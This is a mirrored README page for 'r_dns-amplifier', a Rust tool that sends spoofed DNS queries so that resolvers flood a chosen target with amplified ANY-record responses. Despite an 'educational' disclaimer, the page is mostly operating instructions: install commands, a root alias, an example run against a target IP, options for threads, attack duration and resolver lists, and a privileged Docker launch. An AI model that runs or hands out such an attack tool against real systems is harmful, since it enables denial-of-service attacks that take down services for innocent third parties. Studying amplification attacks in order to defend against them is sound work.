Giter Club home page Giter Club logo

r_dns-amplifier's Introduction

r_dns-amplifier

license version

r_dns-amplifier is a Rust tool for educational purposes to demonstrate DNS amplification attacks. It sends spoofed DNS queries to a target server, which then responds with a large volume of data to the specified address, amplifying the traffic.

DISCLAIMER: DNS amplification attacks are illegal and unethical. Use this tool responsibly and only for educational purposes. The author disclaims all responsibility for misuse.

Requirements

  • Rust (tested with version 1.81.0)
  • Additional libraries: pkg-config, libssl-dev

Install

You can install the script globally using the cargo package manager by running:

cargo install --git https://github.com/cavoq/r_dns-amplifier.git --branch master

You may also need some additional libs:

sudo apt-get install pkg-config libssl-dev

Because this script uses raw sockets it requires root privileges, you need to set an alias and run the script like this if you don't want to specify the full path:

echo "alias sudo-rdns='sudo env \"PATH=$PATH\" r_dns-amplifier'" >> ~/.bashrc && source ~/.bashrc

Note: Instead of r_dns-amplifier you call sudo-rdns

Usage

Example usage with global install:

sudo-rdns 192.168.2.1 --port 53 -r ANY -d google.com

You can also run this script by building it directly after cloning:

cargo build --release

see help:

Usage: r_dns-amplifier [OPTIONS] <TARGET>

Arguments:
  <TARGET>  IPv4 address of the target

Options:
  -p, --port <PORT>                  Port of the target [default: 53]
  -r, --record-type <RECORD_TYPE>    DNS record type to use [A, MX, NS, ANY] [default: ANY]
  -s, --server-list <SERVER_LIST>    List of DNS servers to use
  -t, --time <TIME>                  Time of the attack in seconds
  -d, --domain <DOMAIN>              Domain to resolve [default: google.com]
  -m, --threads <THREADS>            Thread count [default: 10]
  -n, --dns-resolver <DNS_RESOLVER>  DNS resolver to use
  -h, --help                         Print help
  -V, --version                      Print version

Docker

You can also run this script in a Docker container, the --privileged flag is required to use raw sockets in the container.

docker build -t r_dns-amplifier .
docker run --rm --privileged r_dns-amplifier 192.168.2.1 --port 53 -r ANY -d google.com

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.